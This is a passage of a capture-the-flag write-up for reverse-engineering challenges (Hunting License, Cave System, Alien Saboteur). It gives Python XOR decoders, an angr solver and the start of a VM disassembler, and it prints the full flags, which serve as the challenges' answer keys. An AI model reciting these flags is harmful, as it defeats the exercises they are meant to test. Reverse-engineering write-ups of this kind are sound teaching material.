&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">t&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="n">m2&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We can use this Python script to get the flag.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">m2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span> &lt;span class="mh">0x64&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1E&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xF5&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xE2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xC0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x97&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x44&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1B&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xF8&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x5F&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mh">0xF9&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xBE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x18&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x5D&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x48&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x8E&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x91&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xE4&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xF6&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xF1&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mh">0x5C&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x8D&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x26&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x9E&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x2B&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xA1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x02&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xF7&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xC6&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xF7&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mh">0xE4&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xB3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x98&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xFE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x57&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xED&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x4A&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x4B&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xD1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xF6&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mh">0xA1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xEB&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x09&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xC6&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x99&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xF2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x58&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xFA&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xCB&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x6F&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mh">0x6F&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x5E&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1F&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xBE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x2B&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x13&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x8E&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xA5&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xA9&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x99&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mh">0x93&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xAB&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x8F&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x70&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1C&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xC0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xC4&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x3E&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xA6&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xFE&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="mh">0x93&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x35&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x90&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xC3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xC9&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x10&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0xE9&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">t&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mh">0x2C&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x4A&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0B7&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x99&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0A3&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0E5&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x70&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x78&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x93&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x6E&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x97&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0D9&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x47&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x6D&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x38&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0BD&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0FF&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0BB&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x85&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x99&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x6F&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0xE1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x4A&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0AB&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x74&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0C3&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x7B&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0A8&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0B2&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x9F&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0D7&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0EC&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0EB&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0CD&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x63&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0B2&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x39&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x23&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0E1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x84&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x92&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x96&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x09&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0C6&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x99&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0F2&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x58&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0FA&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0CB&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x6F&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x6F&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x5E&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x1F&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0BE&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x2B&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x13&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x8E&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0A5&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0A9&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x99&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x93&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0AB&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x8F&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x70&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x1C&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0C0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0C4&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x3E&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0A6&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0FE&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x93&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x35&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x90&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0C3&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0C9&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x10&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0E9&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">t&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">end&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nb">chr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">t&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="n">m2&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{cr4ck1ng_0p3n_sh3ll5_by_th3_s34_sh0r3}&lt;/strong>&lt;/p>
&lt;h2 id="hunting-license">Hunting License&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1xResSHQcRL1wdSw3t3u-TuzGj839Gh0m/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> STOP! Adventurer, have you got an up to date relic hunting license? If you don&amp;rsquo;t, you&amp;rsquo;ll need to take the exam again before you&amp;rsquo;ll be allowed passage into the spacelanes!&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Reverse Engineering&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given a binary file, together with a netcat server.&lt;/p>
&lt;p>By analyzing the binary file using &lt;a href="https://www.geeksforgeeks.org/file-command-in-linux-with-examples/" target="_blank" rel="noopener">file&lt;/a>, we can answer some first questions.&lt;/p>
&lt;img src="re3.png" alt="linux" width="1000"/>
&lt;p>For the next question, we can use &lt;em>&lt;strong>ldd license&lt;/strong>&lt;/em> to get info about libraries of the binary.&lt;/p>
&lt;img src="re4.png" alt="linux" width="1000"/>
&lt;p>For the upcoming question, I used &lt;a href="https://manpages.ubuntu.com/manpages/trusty/man1/gdb.1.html" target="_blank" rel="noopener">gdb&lt;/a> together with its &lt;strong>info function&lt;/strong> command to get the address of the &lt;strong>main&lt;/strong> function.&lt;/p>
&lt;img src="re5.png" alt="linux" width="1000"/>
&lt;img src="re6.png" alt="linux" width="1000"/>
&lt;p>Using &lt;a href="https://hex-rays.com/ida-pro/" target="_blank" rel="noopener">IDA Pro&lt;/a>, we can answer some more questions correctly.&lt;/p>
&lt;p>There will be 3 passwords for us to find, the first one is too obvious, the second one is reversed, and the last one is generated using &lt;strong>XOR&lt;/strong> with the key &lt;strong>19&lt;/strong>.&lt;/p>
&lt;p>Here is the script for the last password.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mh">0x47&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x7B&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x7A&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x61&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x77&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x52&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x7D&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x77&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x55&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x7A&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x7D&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x72&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x7F&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x32&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x32&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x32&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">19&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">chr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="n">key&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;img src="re7.png" alt="linux" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{l1c3ns3_4cquir3d-hunt1ng_t1m3!}&lt;/strong>&lt;/p>
&lt;h2 id="cave-system">Cave System&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/10IGptbNTTSxzx-Mv0Elgt2Vx4bVKjHCZ/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Deep inside a cave system, 500 feet below the surface, you find yourself stranded with supplies running low. Ahead of you sprawls a network of tunnels, branching off and looping back on themselves. You don&amp;rsquo;t have time to explore them all - you&amp;rsquo;ll need to program your cave-crawling robot to find the way out&amp;hellip;&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Reverse Engineering&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given a binary once again. Using &lt;a href="https://hex-rays.com/ida-pro/" target="_blank" rel="noopener">IDA Pro&lt;/a>, for this type of challenge, we should consider using &lt;a href="https://angr.io/" target="_blank" rel="noopener">angr&lt;/a> or &lt;a href="https://pypi.org/project/z3-solver/" target="_blank" rel="noopener">z3 solver&lt;/a>. Here I choose to use &lt;a href="https://angr.io/" target="_blank" rel="noopener">angr&lt;/a>&lt;/p>
&lt;p>Here is the Python script.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">angr&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">angr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Project&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;E:/Downloads/cave&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">simgr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">factory&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">simulation_manager&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">factory&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">entry_state&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">simgr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">explore&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">find&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mh">0x401ABA&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">avoid&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mh">0x401AC8&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">simgr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">found&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">posix&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We have to find the address of &lt;strong>puts(&amp;ldquo;Freedom at last!&amp;rdquo;);&lt;/strong> and avoid the address of &lt;strong>puts(&amp;ldquo;Lost in the darkness, you&amp;rsquo;ll wander for eternity&amp;hellip;&amp;rdquo;);&lt;/strong>. Also, we have to increase each of the address by &lt;strong>0x400000&lt;/strong> due to the fact that this binary is &lt;a href="https://ir0nstone.gitbook.io/notes/types/stack/pie" target="_blank" rel="noopener">PIE-enabled&lt;/a>.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{H0p3_u_d1dn&amp;rsquo;t_g3t_th15_by_h4nd,1t5_4_pr3tty_l0ng_fl4g!!!}&lt;/strong>&lt;/p>
&lt;h2 id="alien-saboteur">Alien Saboteur&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1LFinP3KsutSSt46WExL_TekEBFv_GOmR/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> You finally manage to make it into the main computer of the vessel, it&amp;rsquo;s time to get this over with. You try to shutdown the vessel, however a couple of access codes unknown to you are needed. You try to figure them out, but the computer start speaking some weird language, it seems like gibberish&amp;hellip;&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Reverse Engineering&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We get a binary with a text file with no format. Analyze the binary using &lt;a href="https://hex-rays.com/ida-pro/" target="_blank" rel="noopener">IDA Pro&lt;/a>, from the function &amp;ldquo;vm_create&amp;rdquo;, the text file is contained in *&lt;strong>(v3 + 18)&lt;/strong> and being executed like a normal binary.&lt;/p>
&lt;img src="re8.png" alt="linux" width="1000"/>
&lt;p>Each instructions appear to be at every &lt;strong>6th&lt;/strong> index from 0. From that, I wrote an interpreter for the text file (that runs through the binary).&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">malduck&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">xor&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ls&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;vm_add&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;vm_addi&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_sub&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_subi&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_mul&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_muli&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;vm_div&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;vm_cmp&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_jmp&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_inv&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;vm_push&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;vm_pop&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_mov&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_nop&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_exit&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;vm_print&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;vm_putc&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_je&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_jne&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_jle&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;vm_jge&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;vm_xor&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_store&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;vm_load&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;vm_input&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">disass&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">code&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">code&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
